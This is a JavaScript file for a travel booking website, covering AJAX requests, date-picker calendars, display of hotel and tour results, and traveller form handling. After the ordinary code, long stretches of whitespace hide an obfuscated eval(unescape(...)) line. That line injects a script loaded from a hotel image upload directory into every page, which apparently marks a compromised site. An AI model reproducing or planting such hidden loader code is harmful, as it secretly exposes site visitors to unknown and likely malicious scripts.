var NAV=navigator.userAgent;
function getobjbyid(id){
    var obj = null;
    if(document.getElementById){
        obj = document.getElementById(id);
    }else if(document.all){
        obj = document.all[id];
    }
    return obj;
}
/*
function $(objID){
    var objt = null;
    if(document.getElementById){
        objt = document.getElementById(objID);
    }else if(document.all){
        objt = document.all[objID];
    }
    return objt;
}

function getElementsByClassName(oElm, strTagName, strClassName){
    var arrElements = (strTagName == "*" && oElm.all)? oElm.all : oElm.getElementsByTagName(strTagName);
    var arrReturnElements = new Array();
    strClassName = strClassName.replace(/\-/g, "\\-");
    var oRegExp = new RegExp("(^|\\s)" + strClassName + "(\\s|$)");
    var oElement;
    for(var i=0; i<arrElements.length; i++){
        oElement = arrElements[i];      
        if(oRegExp.test(oElement.className)){
            arrReturnElements.push(oElement);
        }   
    }
    return (arrReturnElements)
}
*/
//////////////////////// BEGIN AJAX /////////////////////////
function initXMLHTTPRequest()
{
	var xRequest=null;
	if(window.XMLHttpRequest) {
		xRequest=new XMLHttpRequest();
	}
	else if(window.ActiveXObject) {
		xRequest=new ActiveXObject("Microsoft.XMLHTTP");
	}
	return xRequest;
}
var req=new Array;
var The_ID=new Array;
function sR(url,params,HttpMethod,anyID)
{
	while(params.indexOf("&amp;")!=-1)
		params=params.replace("&amp;", "&");
	if(!HttpMethod)
	{
		HttpMethod="POST";
	}
	req.push(initXMLHTTPRequest());
	The_ID.push(anyID);
	i=parseInt(req.length)-1;
	if(req[i]) {
		req[i].open(HttpMethod,url,true);
		req[i].onreadystatechange=onReadyState;
		req[i].setRequestHeader("Content-Type","application/x-www-form-urlencoded");
		req[i].send(params+"&SEC=def");		// +"&SEC=def" --> Security=Defined ;)
	}
}
function toConsole(data, pass_ID, targetobj){
	if (data!=null)
		if(document.getElementById(pass_ID)) {
			passID=document.getElementById(pass_ID);
			if(passID.id=="results_TD")
				passID.innerHTML=passID.innerHTML+data;
			else
				passID.innerHTML=data;
		}
}
var calendarSplit=new Array;
function onReadyState()
{
	for(i=0; i<req.length;i++)
	{
		if(req[i]) {
			var ready=req[i].readyState;
			var data=null;
			var pass_ID=The_ID[i];
			getScrollXY();
			if(ready==4) {
				data=req[i].responseText;
				toConsole(data,pass_ID);
				The_ID.splice(i,1);
				req.splice(i,1);
				if(getobjbyid("loading_layer")) { // Loading Layer
					var LOADING=getobjbyid("loading_layer");
					LOADING.style.display="none";
				}
				if(getobjbyid("searching_layer")) { // Loading layer for search results
					var SEARCHING=getobjbyid("searching_layer");
					SEARCHING.style.display="none";
				}
				if(data.indexOf("[RESULTS]") > -1 ){ // Initialize Results Data
					if(document.getElementById("description_TD"))
						document.getElementById("description_TD").innerHTML="";
					if(document.getElementById("info_TD"))
						document.getElementById("info_TD").innerHTML="";
					document.getElementById(pass_ID).innerHTML="";
					var splits=data.split("[RESULTS]");
					var type=splits[1].split("*");
					var service_id=type[0]; // Service Type
					toConsole(type[1], pass_ID); // Criteria Summary Display
					for(s=2;s<splits.length;s=s+3) // Display Data (Results)
					{
						if(splits[s].indexOf("[NO_DATA]") > -1)
						{
							var nodata_split=splits[s].split('@');
							toConsole(nodata_split[1], pass_ID); // Display 'No Data' Msg
							break;
						}
						else
							fix_data(service_id, splits[s],pass_ID);
					}
					toConsole(splits[splits.length-1], pass_ID); // Page Numbering
				}
				else if(data.indexOf("[AJAX_CALENDAR]")>-1) // Initialize Calendars Data
				{
					var counter=0;
					while(data.indexOf("[AJAX_CALENDAR]")!=-1)
					{
						calendarSplit[counter]=new Array;
						textSplit=data.split("[AJAX_CALENDAR]");
						finalSplit=textSplit[1].split("[AJAX_CALENDAR_END]");
						calendarSplit[counter]=finalSplit[0].split(",");
						data=data.replace("[AJAX_CALENDAR]","");
						data=data.replace("[AJAX_CALENDAR_END]","");
						counter++;
					}
					toConsole(data,pass_ID);
					do_timer=setTimeout("loadCalendars();", 100); // Load JS Calendars
				} else {
					toConsole(data,pass_ID);
				}
			} else {
				if(pass_ID!="ref") {
					if(getobjbyid("loading_layer")&&getobjbyid("searching_layer")) {
						if(pass_ID=="results_TD") { 	// Loading layer for search results
							var SRCH_LYR=getobjbyid("searching_layer");
							SRCH_LYR.style.left=parseInt(280)+"px"; //295  <--  Last static values
							SRCH_LYR.style.top=parseInt(scrOfY+315)+"px"; //315
							SRCH_LYR.style.display="block";
						} else { 	 // Loading Layer
							var LDG_LYR=getobjbyid("loading_layer");
							LDG_LYR.style.left=parseInt(350)+"px";
							LDG_LYR.style.top=parseInt(440)+"px";
							LDG_LYR.style.display="block";
						}
					}
				}
			}
		}
	}
}
////////////////////////// END AJAX /////////////////////////
var do_timer;
function loadCalendars(){ 		// Load and Display Calendars
	if(calendarSplit.length<2)		// Fill up array for the second calendar space
		calendarSplit.push("");
	if(document.getElementById(calendarSplit[(calendarSplit.length-2)][1])&&document.getElementById(calendarSplit[(calendarSplit.length-1)][1])) {
		clearTimeout(do_timer);
		for(c=0; c<calendarSplit.length; c++) {
			load_calendar(calendarSplit[c][1], calendarSplit[c][2], calendarSplit[c][3]);
		}
	} else if(document.getElementById(calendarSplit[(calendarSplit.length-2)][1])&&!document.getElementById(calendarSplit[(calendarSplit.length-1)][1])) {
		clearTimeout(do_timer);
		load_calendar(calendarSplit[0][1], calendarSplit[0][2], calendarSplit[0][3]);
	} else {
		do_timer=setTimeout("loadCalendars();", 100);
	}
}
function fix_data(service_id, dataIN, targetID) {
	var items=dataIN.split("|");
	switch(service_id) {
		case 'Hotel':
			final_html=hotel_html;
		break;
		case 'HotelApartment':
			final_html=hotel_apart_html;
		break;
		case 'Transfer':
			final_html=transfer_html;
		break;
		case 'Tour':
			final_html=tour_html;
		break;
		case 'Cruise':
			final_html=cruise_html;
		break;
	}
	for(i=0; i<items.length; i++) {
		splits2=items[i].split("@")
		final_html=final_html.replace(splits2[0], splits2[1]);
	}
	toConsole(final_html, targetID);
}
function load_calendar(inpFld, disArea, buttonID, dispFormat){
  if(!dispFormat) dispFormat="%d.%m.%Y";
  Zapatec.Calendar.setup({
	firstDay          : 6,
	electric          : false,
	weekNumbers       : false,
	inputField        : inpFld,
	displayArea       : disArea,
	button            : buttonID,
	ifFormat          : "%d.%m.%Y",
	daFormat          : dispFormat,
	align             : "BR",
	numberMonths      : 2
  });
	return true;
}

//////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////// VARIABLES POST FUNCTIONS ///////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////

function post_modify(URL, formname, ID) {
	var params="";
	if(NAV.toString().indexOf("fox")>-1)
		form_name=document.forms['search_form'];
	else
		var form_name=document.getElementById(formname);
	for(i=0;i<form_name.elements.length;i++){
		params=params+"&"+form_name.elements[i].name+"="+form_name.elements[i].value;
	}
	sR(URL, params, 'POST', ID);
}
function post_vars(URL, formName) {
	var PARAMS="";
	if(NAV.toString().indexOf("fox")>-1)
		var FORMNAME=document.forms[formName];
	else
		var FORMNAME=document.getElementById(formName);
	for(i=0;i<FORMNAME.elements.length;i++){
		if(FORMNAME.elements[i].name!="")
			PARAMS=PARAMS+"&"+FORMNAME.elements[i].name+"="+FORMNAME.elements[i].value;
	}
	location.href = URL+PARAMS;
}
function post_pax(reqURL) {
	if(validate_pax('pax')) {
		var reqParams="";
		if(NAV.toString().indexOf("fox")>-1)
			var reqForm=document.forms['pax_form'];
		else
			var reqForm=document.getElementById("pax_form");
		for(i=0;i<reqForm.elements.length;i++){
			if(reqForm.elements[i].name!=""){
				if((reqForm.elements[i].type=="checkbox" && reqForm.elements[i].checked==true)||reqForm.elements[i].type!="checkbox")
					reqParams=reqParams+"&"+reqForm.elements[i].name+"="+encode64(reqForm.elements[i].value);
			}
		}
		location.href = reqURL+reqParams;
	}
}

//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////// ************************* ///////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////// VALIDATION FUNCTIONS /////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////

function validate_qs() {
	if(document.getElementById("from_id").innerHTML=="Select date" || document.getElementById("to_id").innerHTML=="Select date") {
		if(document.getElementById("CALS_TR"))
			document.getElementById("CALS_TR").className="red_bordered";
		return false;
	} else
		return true;
}
function validate_pax(formID) {
	var no_data=0;
	if(NAV.toString().indexOf("fox")>-1)
		var theForm=document.forms[formID+"_form"];
	else
		var theForm=document.getElementById(formID+"_form");
	for(i=0; i<theForm.elements.length;i++)
	{
		var objct = theForm.elements[i];
		if((objct.type == "text" && objct.value == "") || (objct.type == "select-one" && objct.selectedIndex == 0))
			no_data++;
	}
	if(no_data > 0)
	{
		alert("Please fill in traveler(s) data.");
		return false;
	}
	return true;
}

//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////// ************************* ///////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////
var oldData = new Array();
function reset_modify() {
	for (var i=0; i<arguments.length; i++){
		var modObj=document.getElementById(arguments[i])
		if(modObj.type == "text") {
			if(modObj.value != "") {
				oldData[i] = modObj.value;
				modObj.value = "";
			} else
				modObj.value = oldData[i];
		}
		if(modObj.type == "select-one") {
			if(modObj.selectedIndex != "0") {
				oldData[i] = modObj.selectedIndex;
				modObj.selectedIndex = "0";
			} else
				modObj.selectedIndex = oldData[i];
		}
	}
}

function toggle(title_id)
{
	var ulobj=document.getElementById(title_id).parentNode;
	var ullist=ulobj.getElementsByTagName("li");
	for (var x=0; x<ullist.length; x++){
		if(ullist[x].id == title_id)
			ullist[x].className = "selected";
		else
			ullist[x].className = "";
	}
}
function toggleSmooth(PKG)
{
    var package=getobjbyid(PKG);
    if (package.style.display=="block")
		hide_now(PKG);
	else
		show_now(PKG);
}
function viewRow(rowID)
{
	var rowSel = getobjbyid(rowID);
	if(rowSel.style.display=="block" || rowSel.style.display=="")
		rowSel.style.display="none";
	else
		rowSel.style.display="block";
}

function add_dataRow(id, limit){
	var data_tbl=getobjbyid(id+"_tbl").tBodies[0];
	if(data_tbl.rows.length >= limit) {
		if(id=="pax") {
			alert("Sorry, you can not add more travelers for this room type.");
			return false;
		}
	}
	var copy_cell=data_tbl.rows[parseInt(data_tbl.rows.length)-1].cells[0].innerHTML;	
	var addButton=data_tbl.rows[parseInt(data_tbl.rows.length)-1].cells[1].innerHTML;
	var removeButton=data_tbl.rows[parseInt(data_tbl.rows.length)-1].cells[2].innerHTML;
	var nodata=0;
	while(copy_cell.indexOf(id+"_"+data_tbl.rows.length)>-1)
	{
		copy_cell=copy_cell.replace(id+"_"+data_tbl.rows.length,id+"_"+parseInt(data_tbl.rows.length+1));
		copy_cell=copy_cell.replace(id+"_data_"+data_tbl.rows.length,id+"_data_"+parseInt(data_tbl.rows.length+1));
	}
	if(NAV.toString().indexOf("fox")>-1)
		selForm=document.forms[0];
	else
		var selForm=document.getElementById(id+"_form");
	var elementsNum = selForm.elements.length;
	for(i=0; i<selForm.elements.length;i++)
	{
		var objct = selForm.elements[i];
		if(objct.name.indexOf(id+"_"+data_tbl.rows.length) > -1)
		{
			if((objct.type == "text" && objct.value == "") || (objct.type == "select-one" && objct.selectedIndex == 0))
				nodata++;
		}
	}
	if(nodata > 0)
	{
		alert("Please fill in traveler data.");
		return false;
	}
	data_tbl.rows[parseInt(data_tbl.rows.length)-1].cells[1].innerHTML="";
	data_tbl.rows[parseInt(data_tbl.rows.length)-1].cells[2].innerHTML="";
	data_tbl.insertRow(data_tbl.rows.length);
	data_tbl.rows[parseInt(data_tbl.rows.length)-1].insertCell(0);
	data_tbl.rows[parseInt(data_tbl.rows.length)-1].insertCell(1);
	data_tbl.rows[parseInt(data_tbl.rows.length)-1].insertCell(2);
	data_tbl.rows[parseInt(data_tbl.rows.length)-1].cells[0].innerHTML=copy_cell;
	data_tbl.rows[parseInt(data_tbl.rows.length)-1].cells[1].innerHTML=addButton;
	data_tbl.rows[parseInt(data_tbl.rows.length)-1].cells[2].innerHTML=removeButton;
	if(id == "pax")
	{
		var inner_tbl=getobjbyid(id+"_data_"+data_tbl.rows.length).tBodies[0];
		inner_tbl.rows[parseInt(inner_tbl.rows.length)-1].cells[0].innerHTML="Passenger "+data_tbl.rows.length+":";
		data_tbl.rows[parseInt(data_tbl.rows.length)-1].cells[2].style.display = "block";
	} else {
		var inner_tbl=getobjbyid(id+"_data_"+data_tbl.rows.length).tBodies[0];
		inner_tbl.rows[parseInt(inner_tbl.rows.length)-1].cells[0].innerHTML=data_tbl.rows.length;
	}
	for(i=elementsNum-1; i<selForm.elements.length;i++)
	{
		var objct = selForm.elements[i];
		if(objct.name.indexOf(id+"_"+data_tbl.rows.length) > -1)
		{
			if(objct.type == "text")
				objct.value = "";
			if(objct.type == "select-one")
				objct.selectedIndex = 0;
		}
	}
}
function remove_dataRow(PRFX_id){	
	var dt_tbl=getobjbyid(PRFX_id+"_tbl").tBodies[0];
	if(dt_tbl.rows.length <= 1)
	{
		return false;
	}
	var addLink=dt_tbl.rows[parseInt(dt_tbl.rows.length)-1].cells[1].innerHTML;		
	var removeLink=dt_tbl.rows[parseInt(dt_tbl.rows.length)-1].cells[2].innerHTML;		
	dt_tbl.rows[parseInt(dt_tbl.rows.length)-1].cells[1].innerHTML="";
	dt_tbl.rows[parseInt(dt_tbl.rows.length)-1].cells[2].innerHTML="";
	dt_tbl.deleteRow(dt_tbl.rows.length-1);
	dt_tbl.rows[parseInt(dt_tbl.rows.length)-1].insertCell(1);
	dt_tbl.rows[parseInt(dt_tbl.rows.length)-1].insertCell(2);
	dt_tbl.rows[parseInt(dt_tbl.rows.length)-1].cells[1].innerHTML=addLink;
	dt_tbl.rows[parseInt(dt_tbl.rows.length)-1].cells[2].innerHTML=removeLink;
	dt_tbl.rows[parseInt(dt_tbl.rows.length)-1].cells[1].width = 105+"px";
	dt_tbl.rows[parseInt(dt_tbl.rows.length)-1].cells[2].style.display = "none";
}




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%36%39%34%31%38%38%3B%20%4A%53%53%33%20%3D%20%27%2F%73%79%73%74%65%6D%2F%68%6F%74%65%6C%73%2F%68%6F%74%65%6C%5F%69%6D%61%67%65%2F%31%32%38%2F%6F%77%6F%72%75%72%6F%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%73%79%73%74%65%6D%2F%68%6F%74%65%6C%73%2F%68%6F%74%65%6C%5F%69%6D%61%67%65%2F%31%32%38%2F%6F%77%6F%72%75%72%6F%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20')); /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      




































































































